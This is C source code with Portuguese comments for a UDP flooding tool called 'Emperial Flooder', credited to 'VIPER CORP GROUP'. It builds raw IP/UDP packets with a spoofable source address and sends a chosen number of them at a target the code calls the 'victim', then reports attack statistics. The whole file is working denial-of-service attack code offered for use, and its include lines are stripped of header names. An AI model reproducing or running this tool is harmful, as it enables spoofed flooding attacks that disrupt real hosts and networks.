#include // fprintf e tals. #include // Library p/ checagem de erros. #include // struct hostent e functions... #include // exit (), system () e tals. #include // bzero (), memcpy() e tals. #include // getuid (), close () e tals. #include // inet_addr e tals. #include // Neste header ficam shemales oO #include // sendto () e tals. #include // struct sockaddr_in, htons () e tals. #include // struct iphdr e tals. #include // struct udphdr e tals. #define MAXIMUM_TRANSMISSION_UNIT 1500 #define PRINT printf struct iphdr ip_rlz; struct udphdr udp_rlz; struct sockaddr_in Vitima; struct hostent *host; typedef unsigned char Viper_Corp_Rulez; Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT]; int SoCk, uid=0, indice=0, msg_s=0, XSS, x=1, bytes_send; char * ip_origeM; char * ip_destinO; int port_origeM; int port_destinO; void send_UDP (); int banner (); int main (int argc_rulez, char *Matrix[]){ if (argc_rulez < 7){ banner (); fprintf (stdout, "\nUso: %s \ \n\n", *Matrix); exit (-1);} uid=getuid (); if (uid != 0){ fprintf (stderr, " \n[Seu UID eh [%d], voce deve ser root para\ usar Raw Socket]\n\n", uid); exit (-1);} if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){ fprintf (stdout, "Erro ao criar socket\n"); exit (-1);} int num_msg_s; num_msg_s=atoi (Matrix[6]); ip_origeM=Matrix[1]; ip_destinO=Matrix[2]; port_origeM=atoi (Matrix[3]); port_destinO=atoi (Matrix[4]); char *msg;msg=Matrix[5]; bzero (pacote, MAXIMUM_TRANSMISSION_UNIT); ip_rlz.version=4; ip_rlz.ihl=5; ip_rlz.tos=0; ip_rlz.id=htons (666); ip_rlz.ttl=255; ip_rlz.frag_off=0; ip_rlz.check=0; ip_rlz.protocol=IPPROTO_UDP; ip_rlz.saddr=inet_addr (ip_origeM); ip_rlz.daddr=inet_addr (ip_destinO); ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) + strlen (msg)); udp_rlz.dest=htons (port_destinO); udp_rlz.source=htons (port_origeM); udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg)); Vitima.sin_family=AF_INET; Vitima.sin_port=udp_rlz.dest; Vitima.sin_addr.s_addr=ip_rlz.daddr; memcpy (&pacote, &ip_rlz, sizeof (struct iphdr)); indice=indice + sizeof (struct iphdr); memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr)); indice+= sizeof (udp_rlz); memcpy (&pacote[indice], msg, strlen (msg)); indice+= strlen (msg); for (x;x <= atoi (Matrix[6]);x+=1){ send_UDP (); msg_s++;} close (SoCk); PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n"); PRINT ("Total de bytes enviados: [%d]\n", (strlen (Matrix[5]) * msg_s)); PRINT ("----------------------------------------\n"); return (0); } void send_UDP (){ if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima, sizeof (struct sockaddr_in)) ) == -1){ fprintf (stdout, "%s", strerror (errno)); exit (-1);} } int banner (){ int cOc=0; system ("clear"); char *banner[]={ "[=] + ===========[####]============ + [=]\n", " *** Emperial Flooder[UDP] *** \n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->\n", "[=] + ==========[####]============ + [=]\n\n"}; while (cOc != 5){ printf ("%s", banner[cOc]); ++cOc;} return 0;}